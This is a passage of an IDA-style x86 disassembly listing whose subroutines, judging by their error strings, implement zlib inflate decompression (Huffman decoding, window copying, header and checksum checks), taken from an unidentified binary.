sub_41F8F5+35Fj mov eax, [edi+2Ch] sub eax, edx loc_41FC60: ; CODE XREF: sub_41F8F5+364j mov ecx, [edi+2Ch] mov [ebp+var_C], eax cmp edx, ecx mov [ebp+var_14], ecx jnz short loc_41FC8C mov ecx, [edi+28h] mov eax, [ebp+var_18] cmp eax, ecx jz short loc_41FC89 mov edx, ecx cmp edx, eax jnb short loc_41FC82 sub eax, edx dec eax jmp short loc_41FC8C ; --------------------------------------------------------------------------- loc_41FC82: ; CODE XREF: sub_41F8F5+386j mov eax, [ebp+var_14] sub eax, edx jmp short loc_41FC8C ; --------------------------------------------------------------------------- loc_41FC89: ; CODE XREF: sub_41F8F5+380j mov eax, [ebp+var_C] loc_41FC8C: ; CODE XREF: sub_41F8F5+376j ; sub_41F8F5+38Bj ... test eax, eax jz loc_41FDB9 loc_41FC94: ; CODE XREF: sub_41F8F5+313j ; sub_41F8F5+33Fj mov ecx, [ebp+var_10] and [ebp+arg_8], 0 mov cl, [ecx] mov [edx], cl inc edx inc [ebp+var_10] dec eax mov ecx, [ebp+var_10] mov [ebp+var_C], eax cmp ecx, [edi+2Ch] jnz short loc_41FCB5 mov ecx, [edi+28h] mov [ebp+var_10], ecx loc_41FCB5: ; CODE XREF: sub_41F8F5+3B8j dec dword ptr [ebx+4] jnz loc_41FC06 loc_41FCBE: ; CODE XREF: sub_41F8F5+30Bj ; sub_41F8F5+469j and dword ptr [ebx], 0 jmp loc_41F935 ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F8F5+4Bj ; DATA XREF: _3:off_41FE8Bo test eax, eax ; jumptable 0041F940 case 6 jnz loc_41FD50 mov eax, [edi+2Ch] cmp edx, eax mov [ebp+var_14], eax jnz short loc_41FCF6 mov eax, [edi+30h] mov ecx, [edi+28h] cmp eax, ecx jz short loc_41FCF6 mov edx, ecx cmp edx, eax jnb short loc_41FCED sub eax, edx dec eax jmp short loc_41FCF2 ; --------------------------------------------------------------------------- loc_41FCED: ; CODE XREF: sub_41F8F5+3F1j mov eax, [ebp+var_14] sub eax, edx loc_41FCF2: ; CODE XREF: sub_41F8F5+3F6j test eax, eax jnz short loc_41FD50 loc_41FCF6: ; CODE XREF: sub_41F8F5+3E1j ; sub_41F8F5+3EBj push [ebp+arg_8] mov [edi+34h], edx push esi push edi call sub_420BB9 mov edx, [edi+34h] mov [ebp+arg_8], eax mov eax, [edi+30h] add esp, 0Ch cmp edx, eax mov [ebp+var_18], eax jnb short loc_41FD1B sub eax, edx dec eax jmp short loc_41FD20 ; --------------------------------------------------------------------------- loc_41FD1B: ; CODE XREF: sub_41F8F5+41Fj mov eax, [edi+2Ch] sub eax, edx loc_41FD20: ; CODE XREF: sub_41F8F5+424j mov ecx, [edi+2Ch] mov [ebp+var_C], eax cmp edx, ecx mov [ebp+var_14], ecx jnz short loc_41FD4C mov ecx, [edi+28h] mov eax, [ebp+var_18] cmp eax, ecx jz short loc_41FD49 mov edx, ecx cmp edx, eax jnb short loc_41FD42 sub eax, edx dec eax jmp short loc_41FD4C ; --------------------------------------------------------------------------- loc_41FD42: ; CODE XREF: sub_41F8F5+446j mov eax, [ebp+var_14] sub eax, edx jmp short loc_41FD4C ; --------------------------------------------------------------------------- loc_41FD49: ; CODE XREF: sub_41F8F5+440j mov eax, [ebp+var_C] loc_41FD4C: ; CODE XREF: sub_41F8F5+436j ; sub_41F8F5+44Bj ... test eax, eax jz short loc_41FDB9 loc_41FD50: ; CODE XREF: sub_41F8F5+3D3j ; sub_41F8F5+3FFj mov cl, [ebx+8] and [ebp+arg_8], 0 mov [edx], cl inc edx dec eax mov [ebp+var_C], eax jmp loc_41FCBE ; --------------------------------------------------------------------------- loc_41FD63: ; CODE XREF: sub_41F8F5+10Dj ; sub_41F8F5+1B5j ... mov eax, [ebp+arg_4] mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax and dword ptr [esi+4], 0 jmp short loc_41FDCB ; --------------------------------------------------------------------------- loc_41FD75: ; CODE XREF: sub_41F8F5+19Bj mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aInvalidLiteral ; "invalid literal/length code" loc_41FD82: ; CODE XREF: sub_41F8F5+4Bj ; sub_41F8F5+4C2j ; DATA XREF: ... mov eax, [ebp+arg_4] ; jumptable 0041F940 case 9 push 0FFFFFFFDh mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx jmp loc_41FE7C ; --------------------------------------------------------------------------- loc_41FDAA: ; CODE XREF: sub_41F8F5+27Aj mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aInvalidDistanc ; "invalid distance code" jmp short loc_41FD82 ; jumptable 0041F940 case 9 ; --------------------------------------------------------------------------- loc_41FDB9: ; CODE XREF: sub_41F8F5+399j ; sub_41F8F5+459j mov eax, [ebp+arg_4] mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax loc_41FDCB: ; CODE XREF: sub_41F8F5+47Ej mov eax, [ebp+var_4] push [ebp+arg_8] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx jmp loc_41FE7C ; --------------------------------------------------------------------------- loc_41FDE2: ; CODE XREF: sub_41F8F5+4Bj ; DATA XREF: _3:off_41FE8Bo cmp [ebp+arg_0], 7 ; jumptable 0041F940 case 7 jbe short loc_41FDF2 sub [ebp+arg_0], 8 inc [ebp+var_8] dec [ebp+var_4] loc_41FDF2: ; CODE XREF: sub_41F8F5+4F1j push [ebp+arg_8] mov [edi+34h], edx push esi push edi call sub_420BB9 mov edx, [edi+34h] add esp, 0Ch cmp [edi+30h], edx jz short loc_41FE2E mov ecx, [ebp+arg_4] push eax mov [edi+20h], ecx mov ecx, [ebp+arg_0] mov [edi+1Ch], ecx mov ecx, [ebp+var_8] mov [esi+4], ecx mov ecx, [ebp+var_4] mov ebx, ecx sub ebx, [esi] mov [esi], ecx add [esi+8], ebx mov [edi+34h], edx jmp short loc_41FE7C ; --------------------------------------------------------------------------- loc_41FE2E: ; CODE XREF: sub_41F8F5+513j mov dword ptr [ebx], 8 loc_41FE34: ; CODE XREF: sub_41F8F5+4Bj ; DATA XREF: _3:off_41FE8Bo mov eax, [ebp+arg_4] ; jumptable 0041F940 case 8 push 1 mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx jmp short loc_41FE7C ; --------------------------------------------------------------------------- loc_41FE59: ; CODE XREF: sub_41F8F5+45j mov eax, [ebp+arg_4] ; default push 0FFFFFFFEh mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx loc_41FE7C: ; CODE XREF: sub_41F8F5+4B0j ; sub_41F8F5+4E8j ... push esi push edi call sub_420BB9 add esp, 0Ch pop edi pop esi pop ebx leave retn sub_41F8F5 endp ; --------------------------------------------------------------------------- off_41FE8B dd offset loc_41F947 ; DATA XREF: sub_41F8F5+4Br dd offset loc_41F9F6 ; jump table for switch statement dd offset loc_41FA9E dd offset loc_41FAF9 dd offset loc_41FB86 dd offset loc_41FBD4 dd offset loc_41FCC6 dd offset loc_41FDE2 dd offset loc_41FE34 dd offset loc_41FD82 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEB3 proc near ; CODE XREF: sub_41EE2E+3Ap ; sub_41EF26+5F7p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push [ebp+arg_0] mov eax, [ebp+arg_4] push dword ptr [eax+28h] call dword ptr [eax+24h] pop ecx pop ecx pop ebp retn sub_41FEB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEC6 proc near ; CODE XREF: sub_41F8F5+9Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push ebx push esi mov esi, [ebp+arg_10] push edi mov edi, [ebp+arg_14] mov ecx, [esi+34h] mov edx, [esi+1Ch] mov eax, [edi] mov [ebp+var_C], ecx mov [ebp+var_8], eax mov eax, [edi+4] mov [ebp+var_4], eax mov eax, [esi+20h] mov [ebp+arg_14], eax mov eax, [esi+30h] cmp ecx, eax jnb short loc_41FEFB sub eax, ecx dec eax jmp short loc_41FF00 ; --------------------------------------------------------------------------- loc_41FEFB: ; CODE XREF: sub_41FEC6+2Ej mov eax, [esi+2Ch] sub eax, ecx loc_41FF00: ; CODE XREF: sub_41FEC6+33j mov [ebp+var_10], eax mov eax, [ebp+arg_0] mov eax, ds:dword_423318[eax*4] mov [ebp+var_14], eax mov eax, [ebp+arg_4] mov eax, ds:dword_423318[eax*4] mov [ebp+arg_4], eax loc_41FF1D: ; CODE XREF: sub_41FEC6+72j ; sub_41FEC6+231j cmp edx, 14h jnb short loc_41FF3A mov eax, [ebp+var_8] dec [ebp+var_4] mov ecx, edx movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_14], eax inc [ebp+var_8] add edx, 8 jmp short loc_41FF1D ; --------------------------------------------------------------------------- loc_41FF3A: ; CODE XREF: sub_41FEC6+5Aj mov eax, [ebp+var_14] mov ecx, [ebp+arg_8] and eax, [ebp+arg_14] lea eax, [ecx+eax*8] movzx ecx, byte ptr [eax] mov [ebp+arg_0], ecx test ecx, ecx loc_41FF4E: ; CODE XREF: sub_41FEC6+C4j movzx ecx, byte ptr [eax+1] jz loc_4200D1 shr [ebp+arg_14], cl movzx ecx, byte ptr [eax+1] sub edx, ecx mov ecx, [ebp+arg_0] test cl, 10h jnz short loc_41FF8C test cl, 40h jnz loc_420131 mov ecx, ds:dword_423318[ecx*4] and ecx, [ebp+arg_14] add ecx, [eax+4] lea eax, [eax+ecx*8] movzx ecx, byte ptr [eax] mov [ebp+arg_0], ecx test ecx, ecx jmp short loc_41FF4E ; --------------------------------------------------------------------------- loc_41FF8C: ; CODE XREF: sub_41FEC6+A1j and ecx, 0Fh mov esi, ds:dword_423318[ecx*4] and esi, [ebp+arg_14] shr [ebp+arg_14], cl add esi, [eax+4] sub edx, ecx mov [ebp+arg_0], esi loc_41FFA4: ; CODE XREF: sub_41FEC6+F9j cmp edx, 0Fh jnb short loc_41FFC1 mov eax, [ebp+var_8] dec [ebp+var_4] mov ecx, edx movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_14], eax inc [ebp+var_8] add edx, 8 jmp short loc_41FFA4 ; --------------------------------------------------------------------------- loc_41FFC1: ; CODE XREF: sub_41FEC6+E1j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_C] and eax, [ebp+arg_14] movzx ebx, byte ptr [ecx+eax*8] lea eax, [ecx+eax*8] movzx ecx, byte ptr [eax+1] shr [ebp+arg_14], cl movzx ecx, byte ptr [eax+1] sub edx, ecx loc_41FFDE: ; CODE XREF: sub_41FEC6+146j test bl, 10h jnz short loc_42000E test bl, 40h jnz loc_4200FC mov ecx, ds:dword_423318[ebx*4] and ecx, [ebp+arg_14] add ecx, [eax+4] movzx ebx, byte ptr [eax+ecx*8] lea eax, [eax+ecx*8] movzx ecx, byte ptr [eax+1] shr [ebp+arg_14], cl mov [ebp+var_18], ecx sub edx, ecx jmp short loc_41FFDE ; --------------------------------------------------------------------------- loc_42000E: ; CODE XREF: sub_41FEC6+11Bj and ebx, 0Fh loc_420011: ; CODE XREF: sub_41FEC6+165j cmp edx, ebx jnb short loc_42002D mov ecx, [ebp+var_8] dec [ebp+var_4] movzx esi, byte ptr [ecx] mov ecx, edx shl esi, cl or [ebp+arg_14], esi inc [ebp+var_8] add edx, 8 jmp short loc_420011 ; --------------------------------------------------------------------------- loc_42002D: ; CODE XREF: sub_41FEC6+14Dj mov esi, ds:dword_423318[ebx*4] mov ecx, ebx and esi, [ebp+arg_14] sub edx, ebx shr [ebp+arg_14], cl add esi, [eax+4] mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] sub [ebp+var_10], eax mov ebx, [ebp+arg_10] mov eax, ecx sub eax, esi mov esi, [ebx+28h] cmp eax, esi jnb short loc_4200AD mov ebx, [ebx+2Ch] mov [ebp+var_18], ebx sub ebx, esi loc_420060: ; CODE XREF: sub_41FEC6+19Ej add eax, ebx cmp eax, esi jb short loc_420060 mov esi, [ebp+var_18] sub esi, eax cmp [ebp+arg_0], esi jbe short loc_42008F sub [ebp+arg_0], esi loc_420073: ; CODE XREF: sub_41FEC6+1B4j mov bl, [eax] mov [ecx], bl inc ecx inc eax dec esi jnz short loc_420073 mov eax, [ebp+arg_10] mov esi, [eax+28h] loc_420082: ; CODE XREF: sub_41FEC6+1C5j mov al, [esi] mov [ecx], al inc ecx inc esi dec [ebp+arg_0] jnz short loc_420082 jmp short loc_4200C9 ; --------------------------------------------------------------------------- loc_42008F: ; CODE XREF: sub_41FEC6+1A8j mov bl, [eax] mov [ecx], bl mov bl, [eax+1] inc ecx inc eax mov [ecx], bl inc ecx inc eax sub [ebp+arg_0], 2 loc_4200A0: ; CODE XREF: sub_41FEC6+1E3j mov bl, [eax] mov [ecx], bl inc ecx inc eax dec [ebp+arg_0] jnz short loc_4200A0 jmp short loc_4200C9 ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_41FEC6+190j mov bl, [eax] mov [ecx], bl mov bl, [eax+1] inc ecx inc eax mov [ecx], bl inc ecx inc eax sub [ebp+arg_0], 2 loc_4200BE: ; CODE XREF: sub_41FEC6+201j mov bl, [eax] mov [ecx], bl inc ecx inc eax dec [ebp+arg_0] jnz short loc_4200BE loc_4200C9: ; CODE XREF: sub_41FEC6+1C7j ; sub_41FEC6+1E5j mov esi, [ebp+arg_10] mov [ebp+var_C], ecx jmp short loc_4200E8 ; --------------------------------------------------------------------------- loc_4200D1: ; CODE XREF: sub_41FEC6+8Cj shr [ebp+arg_14], cl movzx ecx, byte ptr [eax+1] mov al, [eax+4] sub edx, ecx mov ecx, [ebp+var_C] inc [ebp+var_C] dec [ebp+var_10] mov [ecx], al loc_4200E8: ; CODE XREF: sub_41FEC6+209j cmp [ebp+var_10], 102h jb short loc_42011C cmp [ebp+var_4], 0Ah jb short loc_42011C jmp loc_41FF1D ; --------------------------------------------------------------------------- loc_4200FC: ; CODE XREF: sub_41FEC6+120j mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] mov dword ptr [edi+18h], offset aInvalidDistanc ; "invalid distance code" shr eax, 3 cmp eax, ecx jnb short loc_420114 mov ecx, eax loc_420114: ; CODE XREF: sub_41FEC6+24Aj mov esi, [ebp+arg_10] push 0FFFFFFFDh pop eax jmp short loc_420166 ; --------------------------------------------------------------------------- loc_42011C: ; CODE XREF: sub_41FEC6+229j ; sub_41FEC6+22Fj mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] shr eax, 3 cmp eax, ecx jnb short loc_42012D mov ecx, eax loc_42012D: ; CODE XREF: sub_41FEC6+263j xor eax, eax jmp short loc_420166 ; --------------------------------------------------------------------------- loc_420131: ; CODE XREF: sub_41FEC6+A6j test cl, 20h jz short loc_42014B mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] shr eax, 3 cmp eax, ecx jnb short loc_420147 mov ecx, eax loc_420147: ; CODE XREF: sub_41FEC6+27Dj push 1 jmp short loc_420165 ; --------------------------------------------------------------------------- loc_42014B: ; CODE XREF: sub_41FEC6+26Ej mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] mov dword ptr [edi+18h], offset aInvalidLiteral ; "invalid literal/length code" shr eax, 3 cmp eax, ecx jnb short loc_420163 mov ecx, eax loc_420163: ; CODE XREF: sub_41FEC6+299j push 0FFFFFFFDh loc_420165: ; CODE XREF: sub_41FEC6+283j pop eax loc_420166: ; CODE XREF: sub_41FEC6+254j ; sub_41FEC6+269j mov ebx, [ebp+arg_14] sub [ebp+var_8], ecx mov [esi+20h], ebx mov ebx, ecx shl ebx, 3 sub edx, ebx mov [esi+1Ch], edx mov edx, [ebp+var_4] add ecx, edx mov [edi+4], ecx mov ecx, [ebp+var_8] mov edx, ecx sub edx, [edi] mov [edi], ecx mov ecx, [ebp+var_C] add [edi+8], edx mov [esi+34h], ecx pop edi pop esi pop ebx leave retn sub_41FEC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420198 proc near ; CODE XREF: sub_42021C+D4p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor edx, edx cmp eax, edx jz short loc_4201D6 mov ecx, [eax+1Ch] cmp ecx, edx jz short loc_4201D6 push esi mov [eax+14h], edx mov [eax+8], edx mov [eax+18h], edx mov esi, [ecx+0Ch] push edx neg esi sbb esi, esi push eax and esi, 7 mov [ecx], esi mov eax, [eax+1Ch] push dword ptr [eax+14h] call sub_41EE2E add esp, 0Ch xor eax, eax pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4201D6: ; CODE XREF: sub_420198+Aj ; sub_420198+11j push 0FFFFFFFEh pop eax pop ebp retn sub_420198 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4201DB proc near ; CODE XREF: sub_42021C+C9p ; sub_420CCE+59p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_420216 mov eax, [esi+1Ch] test eax, eax jz short loc_420216 cmp dword ptr [esi+24h], 0 jz short loc_420216 mov eax, [eax+14h] test eax, eax jz short loc_420203 push esi push eax call sub_41F88B pop ecx pop ecx loc_420203: ; CODE XREF: sub_4201DB+1Dj push dword ptr [esi+1Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] and dword ptr [esi+1Ch], 0 pop ecx pop ecx xor eax, eax jmp short loc_420219 ; --------------------------------------------------------------------------- loc_420216: ; CODE XREF: sub_4201DB+9j ; sub_4201DB+10j ... push 0FFFFFFFEh pop eax loc_420219: ; CODE XREF: sub_4201DB+39j pop esi pop ebp retn sub_4201DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42021C proc near ; CODE XREF: sub_420306+Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_8] push ebx push esi push edi xor edi, edi cmp eax, edi jz loc_4202FE mov al, [eax] cmp al, ds:byte_4220A8 jnz loc_4202FE cmp [ebp+arg_C], 38h jnz loc_4202FE mov esi, [ebp+arg_0] cmp esi, edi jnz short loc_420255 push 0FFFFFFFEh jmp loc_420300 ; --------------------------------------------------------------------------- loc_420255: ; CODE XREF: sub_42021C+30j cmp [esi+20h], edi mov [esi+18h], edi jnz short loc_420267 mov dword ptr [esi+20h], offset sub_420D4D mov [esi+28h], edi loc_420267: ; CODE XREF: sub_42021C+3Fj cmp [esi+24h], edi jnz short loc_420273 mov dword ptr [esi+24h], offset sub_420D67 loc_420273: ; CODE XREF: sub_42021C+4Ej push 18h push 1 pop ebx push ebx push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch cmp eax, edi mov [esi+1Ch], eax jnz short loc_42028D push 0FFFFFFFCh jmp short loc_420300 ; --------------------------------------------------------------------------- loc_42028D: ; CODE XREF: sub_42021C+6Bj mov ecx, [ebp+arg_4] mov [eax+14h], edi mov eax, [esi+1Ch] cmp ecx, edi mov [eax+0Ch], edi jge short loc_4202A5 mov eax, [esi+1Ch] neg ecx mov [eax+0Ch], ebx loc_4202A5: ; CODE XREF: sub_42021C+7Fj cmp ecx, 8 jl short loc_4202FA cmp ecx, 0Fh jg short loc_4202FA mov eax, [esi+1Ch] shl ebx, cl mov [eax+10h], ecx mov eax, [esi+1Ch] mov eax, [eax+0Ch] neg eax sbb eax, eax push ebx not eax and eax, offset sub_410F9C push eax push esi call sub_41EE9A mov ecx, [esi+1Ch] add esp, 0Ch mov [ecx+14h], eax mov eax, [esi+1Ch] cmp [eax+14h], edi jnz short loc_4202EF push 0FFFFFFFCh loc_4202E3: ; CODE XREF: sub_42021C+E0j pop edi push esi call sub_4201DB pop ecx mov eax, edi jmp short loc_420301 ; --------------------------------------------------------------------------- loc_4202EF: ; CODE XREF: sub_42021C+C3j push esi call sub_420198 pop ecx xor eax, eax jmp short loc_420301 ; --------------------------------------------------------------------------- loc_4202FA: ; CODE XREF: sub_42021C+8Cj ; sub_42021C+91j push 0FFFFFFFEh jmp short loc_4202E3 ; --------------------------------------------------------------------------- loc_4202FE: ; CODE XREF: sub_42021C+Dj ; sub_42021C+1Bj ... push 0FFFFFFFAh loc_420300: ; CODE XREF: sub_42021C+34j ; sub_42021C+6Fj pop eax loc_420301: ; CODE XREF: sub_42021C+D1j ; sub_42021C+DCj pop edi pop esi pop ebx pop ebp retn sub_42021C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420306 proc near ; CODE XREF: sub_420CCE+35p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_4] push 0Fh push [ebp+arg_0] call sub_42021C add esp, 10h pop ebp retn sub_420306 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42031E proc near ; CODE XREF: sub_420CCE+47p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] xor eax, eax cmp esi, eax push edi jz loc_420630 ; default cmp [esi+1Ch], eax jz loc_420630 ; default cmp [esi], eax jz loc_420630 ; default cmp [ebp+arg_4], 4 push 0FFFFFFFBh pop ebx mov [ebp+arg_4], ebx jz short loc_420351 mov [ebp+arg_4], eax loc_420351: ; CODE XREF: sub_42031E+2Ej ; sub_42031E+111j push 0Dh pop edi loc_420354: ; CODE XREF: sub_42031E+8Aj ; sub_42031E+FAj ... mov eax, [esi+1Ch] mov ecx, [eax] cmp ecx, edi ; switch 14 cases ja loc_420630 ; default jmp ds:off_420649[ecx*4] ; switch jump loc_420368: ; DATA XREF: _3:off_420649o mov ecx, [esi+4] ; jumptable 00420361 case 0 test ecx, ecx jz loc_42055A dec ecx inc dword ptr [esi+8] mov [esi+4], ecx mov ecx, [esi] mov ebx, [ebp+arg_4] movzx ecx, byte ptr [ecx] mov [eax+4], ecx mov eax, [esi+1Ch] mov ecx, [eax+4] and ecx, 0Fh inc dword ptr [esi] cmp cl, 8 jz short loc_4203AA mov [eax], edi mov dword ptr [esi+18h], offset aUnknownCompres ; "unknown compression method" loc_42039E: ; CODE XREF: sub_42031E+A3j ; sub_42031E+237j mov eax, [esi+1Ch] mov dword ptr [eax+4], 5 jmp short loc_420354 ; --------------------------------------------------------------------------- loc_4203AA: ; CODE XREF: sub_42031E+75j mov ecx, [eax+4] shr ecx, 4 add ecx, 8 cmp ecx, [eax+10h] jbe short loc_4203C3 mov [eax], edi mov dword ptr [esi+18h], offset aInvalidWindowS ; "invalid window size" jmp short loc_42039E ; --------------------------------------------------------------------------- loc_4203C3: ; CODE XREF: sub_42031E+98j mov dword ptr [eax], 1 loc_4203C9: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o mov eax, [esi+4] ; jumptable 00420361 case 1 test eax, eax jz loc_42055A mov ecx, [ebp+arg_4] dec eax inc dword ptr [esi+8] mov [esi+4], eax mov eax, [esi] mov [ebp+arg_0], ecx mov ecx, [esi+1Ch] push 1Fh movzx ebx, byte ptr [eax] inc eax xor edx, edx mov [esi], eax mov eax, [ecx+4] shl eax, 8 add eax, ebx pop edi div edi test edx, edx jz short loc_42041D push 0Dh mov ebx, [ebp+arg_0] pop edi mov [ecx], edi mov eax, [esi+1Ch] mov dword ptr [esi+18h], offset aIncorrectHeade ; "incorrect header check" mov dword ptr [eax+4], 5 jmp loc_420354 ; --------------------------------------------------------------------------- loc_42041D: ; CODE XREF: sub_42031E+DFj test bl, 20h jnz loc_420561 mov ebx, [ebp+arg_0] mov dword ptr [ecx], 7 jmp loc_420351 ; --------------------------------------------------------------------------- loc_420434: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o push ebx ; jumptable 00420361 case 7 push esi push dword ptr [eax+14h] call sub_41EF26 mov ebx, eax add esp, 0Ch cmp ebx, 0FFFFFFFDh jnz short loc_420459 mov eax, [esi+1Ch] mov [eax], edi mov eax, [esi+1Ch] and dword ptr [eax+4], 0 jmp loc_420354 ; --------------------------------------------------------------------------- loc_420459: ; CODE XREF: sub_42031E+128j test ebx, ebx jnz short loc_420460 mov ebx, [ebp+arg_4] loc_420460: ; CODE XREF: sub_42031E+13Dj cmp ebx, 1 jnz loc_42055A mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] lea ecx, [eax+4] push ecx push esi push dword ptr [eax+14h] call sub_41EE2E mov eax, [esi+1Ch] add esp, 0Ch cmp dword ptr [eax+0Ch], 0 jz short loc_420493 mov dword ptr [eax], 0Ch jmp loc_420354 ; --------------------------------------------------------------------------- loc_420493: ; CODE XREF: sub_42031E+168j mov dword ptr [eax], 8 loc_420499: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o mov eax, [esi+4] ; jumptable 00420361 case 8 test eax, eax jz loc_42055A dec eax inc dword ptr [esi+8] mov ecx, [esi+1Ch] mov [esi+4], eax mov eax, [esi] mov ebx, [ebp+arg_4] movzx eax, byte ptr [eax] shl eax, 18h mov [ecx+8], eax mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 9 loc_4204C7: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o mov eax, [esi+4] ; jumptable 00420361 case 9 test eax, eax jz loc_42055A mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 10h add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 0Ah loc_4204F5: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o mov eax, [esi+4] ; jumptable 00420361 case 10 test eax, eax jz short loc_42055A mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 8 add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 0Bh loc_42051F: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o mov eax, [esi+4] ; jumptable 00420361 case 11 test eax, eax jz short loc_42055A mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov ecx, [eax+4] cmp ecx, [eax+8] jz loc_420638 mov [eax], edi mov dword ptr [esi+18h], offset aIncorrectDataC ; "incorrect data check" jmp loc_42039E ; --------------------------------------------------------------------------- loc_42055A: ; CODE XREF: sub_42031E+4Fj ; sub_42031E+B0j ... mov eax, ebx jmp loc_420633 ; --------------------------------------------------------------------------- loc_420561: ; CODE XREF: sub_42031E+102j mov eax, [esi+1Ch] mov ebx, [ebp+arg_0] mov dword ptr [eax], 2 loc_42056D: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o mov eax, [esi+4] ; jumptable 00420361 case 2 test eax, eax jz short loc_42055A dec eax inc dword ptr [esi+8] mov ecx, [esi+1Ch] mov [esi+4], eax mov eax, [esi] mov ebx, [ebp+arg_4] movzx eax, byte ptr [eax] shl eax, 18h mov [ecx+8], eax mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 3 loc_420597: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o mov eax, [esi+4] ; jumptable 00420361 case 3 test eax, eax jz short loc_42055A mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 10h add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 4 loc_4205C1: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o mov eax, [esi+4] ; jumptable 00420361 case 4 test eax, eax jz short loc_42055A mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 8 add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 5 loc_4205EB: ; CODE XREF: sub_42031E+43j ; DATA XREF: _3:off_420649o mov eax, [esi+4] ; jumptable 00420361 case 5 test eax, eax jz loc_42055A mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] push 2 add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov ecx, [eax+8] mov [esi+30h], ecx mov dword ptr [eax], 6 jmp short loc_420632 ; --------------------------------------------------------------------------- loc_42061D: ; 